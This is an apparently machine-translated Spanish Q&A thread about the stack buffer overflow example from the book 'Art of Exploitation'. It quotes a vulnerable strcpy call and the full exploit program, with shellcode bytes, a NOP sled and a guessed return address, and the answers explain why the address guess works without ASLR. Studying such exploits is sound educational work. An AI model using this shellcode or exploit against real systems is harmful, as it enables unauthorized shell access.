2012-01-02 24 views
8

Estaba leyendo este libro Art of Exploitation, que es un buen libro y me encuentro con ese ejemplo del archivo exploit_notesearch.c.ejemplo de desbordamiento de búfer del libro Art of Exploitation

autor Brevemente intenta desbordar programa desde notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

El argumento de la función principal se copia en la matriz searchstring y si el argumento es más grande que 100 bytes que se desbordará la dirección de retorno de la función principal.

El autor prepara el código shell en exploit_notesearch.c y pide notesearch.c vulnerables

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

Se puede ver que shellcode se combina con NOP trineo y dirección que debe apuntar a ese trineo NOP volver. El autor usa la dirección de una variable local i como punto de referencia y sustrae 270 bytes, intentando así descubrir la ubicación aproximada del trineo NOP.

Según tengo entendido, el autor asume que el fotograma de la función principal de notesearch.c vulnerable estará en el mismo segmento de pila que el fotograma de pila de la función principal de exploit_notesearch.c. Asumo esto porque solo de esta manera esta manipulación con la dirección de la variable local puedo funcionar.

Pero, el autor llama notesearch.c vulnerable con la ayuda del sistema() como este sistema (comando). Mi punto es que este sistema de funciones() en algún lugar dentro usa fork() para generar el proceso hijo y luego usa la función exec() para cambiar la imagen del proceso. Pero si se cambia la imagen, significa que el segmento de pila será nuevo y todas esas manipulaciones con dirección de la variable local i en la función principal en exploit_notesearch.c serán inútiles, pero de alguna manera este exploit funciona, lo cual es completamente confuso para mí.

Respuesta

11

El autor simplemente asume que el compilador de C colocará las pilas de esos dos programas al mismo (o muy similares) virtual de direcciones y que el sistema operativo no funcionará address randomization (ASLR). Esto significa que los marcos de pila de ambas funciones principales estarán más o menos en la misma ubicación, lo que permite este exploit.

Esta no es una forma de explotación muy robusta, como se puede imaginar (probablemente falle en la mayoría de los sistemas modernos de 64 bits). Los exploits más robustos podrían usar un formulario de return oriented programming o podrían tratar de utilizar el puntero char *argv existente al marco de pila correspondiente.

+0

Niklas gracias por la respuesta. –

+0

Niklas gracias por la respuesta. ¿Es una propiedad especial de la asignación de la memoria virtual del sistema operativo entre el proceso principal y el secundario que el proceso secundario usará el valor almacenado en el proceso de parrent? Me refiero a que cuando el autor resta 270 bytes, asume que las direcciones virtuales del proceso secundario vulnerable serán más bajas en el segmento de la pila. Por ejemplo, un proceso padre hizo su trabajo y utilizó la dirección en el segmento de pila hasta 0hffff4534, ¿continuará el proceso hijo desde esa dirección virtual? si no es el caso, ¿hay algún buen manual o tutorial que pueda explicar esto? Gracias de antemano –

+0

Me pueden corregir si estoy equivocado: como entiendo este exploit es posible porque ambos procesos asignarán la misma dirección virtual para el segmento de la pila pero debido a que la función principal vulnerable tendrá que asignar una gran cantidad de bytes para la variable local searchstring podemos suponer que será menor en la pila –

Cuestiones relacionadas